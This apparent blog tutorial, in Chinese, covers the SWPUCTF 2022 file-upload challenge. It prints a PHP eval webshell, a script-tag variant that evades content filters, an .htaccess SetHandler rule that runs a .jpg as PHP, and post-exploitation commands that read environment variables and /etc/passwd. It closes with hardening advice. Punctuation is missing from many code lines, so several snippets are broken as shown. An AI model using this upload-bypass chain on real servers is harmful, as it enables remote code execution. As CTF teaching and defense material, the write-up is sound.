新手必看:如何用.htaccess绕过文件上传限制(附SWPUCTF 2022实战案例)

张开发
2026/4/10 22:11:25 15 分钟阅读

分享文章

新手必看:如何用.htaccess绕过文件上传限制(附SWPUCTF 2022实战案例)
从零掌握.htaccess文件上传绕过技术以SWPUCTF实战为例当你第一次接触CTF比赛中的文件上传漏洞时可能会被各种限制条件搞得晕头转向。服务器设置了重重关卡后缀名检查、MIME类型验证、内容关键字过滤...但总有一些巧妙的方法可以绕过这些限制其中.htaccess文件的利用就是一项经典技术。本文将从一个完全新手的视角出发带你逐步理解Apache服务器的.htaccess配置文件如何成为突破上传限制的利器。我们会通过SWPUCTF 2022新生赛的一道真实题目手把手演示从漏洞发现到最终获取flag的完整流程。无论你是刚入门网络安全的学生还是想提升实战能力的开发者这篇文章都能为你提供清晰的思路和可复用的技巧。1. 理解文件上传漏洞的基础限制机制在开始实战之前我们需要先了解Web应用常见的文件上传防护措施。服务器通常会采用多层过滤机制来阻止恶意文件的上传主要包括以下几种文件扩展名检查最常见的防护手段阻止.php、.phtml等可执行脚本的上传MIME类型验证检查HTTP头中的Content-Type字段确保与文件类型匹配文件内容检测扫描文件内容中的危险关键词如?php、eval等文件头校验验证文件实际类型与声明类型是否一致如图片的魔数以我们即将分析的SWPUCTF题目为例它设置了以下三重防护禁止上传任何包含ph的后缀如.php、.phtml、.php3等检查Content-Type必须为image/jpeg扫描文件内容禁止出现?和?php标签这种组合防护看似严密但通过.htaccess文件的巧妙利用我们仍然可以找到突破口。关键在于理解Apache服务器如何处理不同类型的文件。2. .htaccess文件的核心作用与配置技巧.htaccess是Apache服务器特有的配置文件它可以覆盖主配置文件的设置实现目录级的访问控制、URL重写等功能。在文件上传绕过场景中我们主要利用它的文件处理器指定功能。2.1 关键配置指令解析FilesMatch muma.jpg SetHandler application/x-httpd-php /FilesMatch这段配置的意思是将所有名为muma.jpg的文件当作PHP脚本解析执行。它突破了常规的文件扩展名限制使服务器以非标准方式处理特定文件。注意.htaccess文件本身必须能够上传到目标服务器通常需要满足以下条件服务器允许.htaccess覆盖配置上传目录有写入权限文件名未被过滤2.2 实战中的配置要点在实际CTF比赛中使用.htaccess绕过时需要注意文件命名策略确保匹配模式如muma.jpg与实际上传的木马文件名一致可以使用通配符如*.jpg匹配多个文件上传顺序问题理论上.htaccess和木马文件的上传顺序无关但某些防护系统可能会检测连续上传行为MIME类型设置.htaccess文件本身也需要正确的Content-Type通常使用text/plain或application/octet-stream3. 分步突破SWPUCTF 2022文件上传题现在让我们回到SWPUCTF 2022新生赛的Ez_upload题目看看如何一步步突破限制。3.1 初步探测上传限制首先尝试直接上传PHP文件POST /upload.php HTTP/1.1 Content-Type: multipart/form-data [文件内容?php eval($_POST[cmd]); ?]返回错误后缀不能是ph。这说明服务器过滤了所有包含ph的扩展名包括但不限于.php.phtml.php3.php5.phps3.2 绕过扩展名限制尝试修改文件扩展名为.jpg同时保持内容为PHP代码POST /upload.php HTTP/1.1 Content-Type: multipart/form-data [文件内容?php eval($_POST[cmd]); ?] [文件名shell.jpg]服务器返回你上传的什么鬼。这表明除了扩展名服务器还检查了文件内容。3.3 绕过MIME类型检查通过Burp Suite修改Content-Type为image/jpegPOST /upload.php HTTP/1.1 Content-Type: multipart/form-data Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg [文件内容?php eval($_POST[cmd]); ?]此时错误变为还是换个其他类型吧。这说明我们通过了MIME检查但触发了内容过滤。3.4 绕过内容过滤经过多次测试发现服务器过滤了以下内容模式??php解决方案是使用替代的PHP标签script languagephp eval($_POST[cmd]); /script这种写法不依赖常规PHP标签能够绕过内容过滤。将上述代码保存为shell.jpg并上传配合正确的Content-Type文件可以成功上传。3.5 上传.htaccess文件创建.htaccess文件内容FilesMatch shell.jpg SetHandler application/x-httpd-php /FilesMatch以Content-Type: text/plain上传此文件。成功后服务器会将shell.jpg当作PHP脚本解析。4. 获取flag的多种路径成功上传Webshell后通常有几种方式寻找flag4.1 使用蚁剑连接配置蚁剑连接URLhttp://target.com/upload/shell.jpg密码设置为POST参数名本例为cmd连接成功后可以通过虚拟终端执行命令在本题中通过检查环境变量找到flagenv | grep flag4.2 通过PHP函数查找如果无法使用管理工具可以直接通过Webshell执行命令script languagephp system(find / -name *flag*); /script或者在PHP环境中搜索script languagephp print_r($_ENV); // 或 highlight_file(/etc/passwd); /script4.3 检查常见位置CTF比赛中flag通常存放在以下位置/flag/flag.txt/var/www/html/flag.php环境变量中数据库特定表中PHP注释或配置文件中5. 防御措施与加固建议理解了攻击原理后作为开发者应该如何防范此类攻击以下是多层防护建议5.1 服务器配置加固防护措施具体实现效果禁用.htaccess覆盖AllowOverride None阻止攻击者修改配置限制上传目录执行权限php_admin_value engine Off防止脚本执行随机化上传文件名move_uploaded_file($tmp, uniqid()..ext)使固定匹配失效5.2 代码层面防护// 检查文件内容是否合法 function isFileValid($filepath) { $content file_get_contents($filepath); if (preg_match(/\?(php|| |\t)/i, $content)) { return false; } return true; } // 更严格的内容检查 function isImageValid($filepath) { $info getimagesize($filepath); return $info in_array($info[2], [IMAGETYPE_JPEG, IMAGETYPE_PNG]); }5.3 文件处理最佳实践白名单验证只允许特定的扩展名和MIME类型内容重写对上传的图片进行二次处理去除嵌入代码隔离存储将上传文件存放在非Web可访问目录权限控制确保上传目录不可执行脚本在真实环境中应该组合使用以上多种防护措施形成纵深防御体系。

更多文章